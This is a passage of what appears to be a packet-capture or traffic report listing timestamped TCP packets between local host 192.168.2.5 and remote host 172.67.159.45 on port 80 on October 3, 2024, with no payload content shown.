Oct 3, 2024 05:02:57.564019918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564037085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564045906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564063072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564064026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564080954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564085960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564105988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564117908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564131975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564136028 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564155102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564156055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564173937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564177036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564191103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564198971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564223051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564229965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564240932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564249992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564268112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564269066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564289093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564290047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564311028 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564332962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564893007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564913034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564943075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564953089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564959049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564975023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.564990997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.564996004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565012932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.565021038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565032005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.565047979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565066099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.565067053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565090895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565109015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.565134048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.565144062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565152884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.565165043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565180063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.565201044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.565220118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.565231085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565232038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565232038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565246105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.565256119 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565273046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.565298080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566551924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566572905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566596985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566607952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566621065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566629887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566643953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566651106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566665888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566674948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566688061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566692114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566714048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566720963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566734076 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566740990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566768885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566782951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566792965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566800117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566823959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566831112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566843033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566855907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566869974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566873074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566901922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.566946983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566946983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.566946983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567214966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567235947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567260027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567280054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567280054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567281008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567303896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567305088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567321062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567323923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567351103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567356110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567372084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567380905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567399979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567416906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567433119 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567434072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567461014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567477942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567482948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.567517042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.567583084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666466951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666484118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666512012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666534901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666553020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666577101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666599035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666627884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666647911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666647911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666649103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666649103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666649103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666649103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666666031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666690111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666704893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666729927 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666729927 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666732073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666753054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666766882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666769981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666795969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666795969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666815042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.666832924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.666878939 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.667975903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.667990923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668035030 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668066025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668133020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668153048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668178082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668189049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668195963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668206930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668220043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668226957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668239117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668247938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668260098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668282986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668291092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668301105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668313026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668318033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668332100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668339014 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668356895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668356895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668374062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668375015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668392897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668401003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668417931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668447018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668792009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668807030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668834925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668843985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668857098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668864012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668884039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668900013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668939114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668956995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668977976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.668984890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.668998003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669006109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669019938 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669023991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669039011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669042110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669064045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669080973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669089079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669127941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669135094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669146061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669169903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669173956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669190884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669190884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669214010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669233084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669575930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669627905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669727087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669747114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669771910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669778109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669792891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669811964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669814110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669836044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669841051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669859886 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669861078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669897079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669903994 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669918060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669939041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669945955 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669954062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669965982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.669981956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.669998884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670011044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.670025110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670087099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.670087099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.670666933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670681953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670720100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.670754910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.670810938 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670825005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670852900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670866013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.670871973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670886993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.670896053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670906067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.670924902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.670941114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.670950890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670964956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.670989990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671004057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671008110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671024084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671034098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671042919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671052933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671062946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671080112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671080112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671099901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671104908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671120882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671142101 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671438932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671454906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671482086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671494961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671500921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671511889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671521902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671535969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671535969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671555042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671566010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671571970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671593904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671596050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671612978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671614885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671638966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671646118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671653986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671667099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671683073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671688080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671700954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671713114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671725988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671729088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671747923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.671750069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671768904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.671791077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672681093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672697067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672724009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672738075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672744989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672758102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672764063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672774076 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672790051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672797918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672812939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672815084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672835112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672842026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672857046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672868013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672887087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672888041 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672913074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672931910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.672972918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.672988892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.673016071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.673022032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.673033953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.673038960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.673058033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.673058033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.673078060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.673083067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.673103094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.673104048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.673120975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.673124075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.673139095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.673150063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.673168898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.673187017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758034945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758238077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758285046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758302927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758331060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758356094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758374929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758375883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758385897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758407116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758414030 CEST	49705	80	192.168.2.5	172.67.159.45
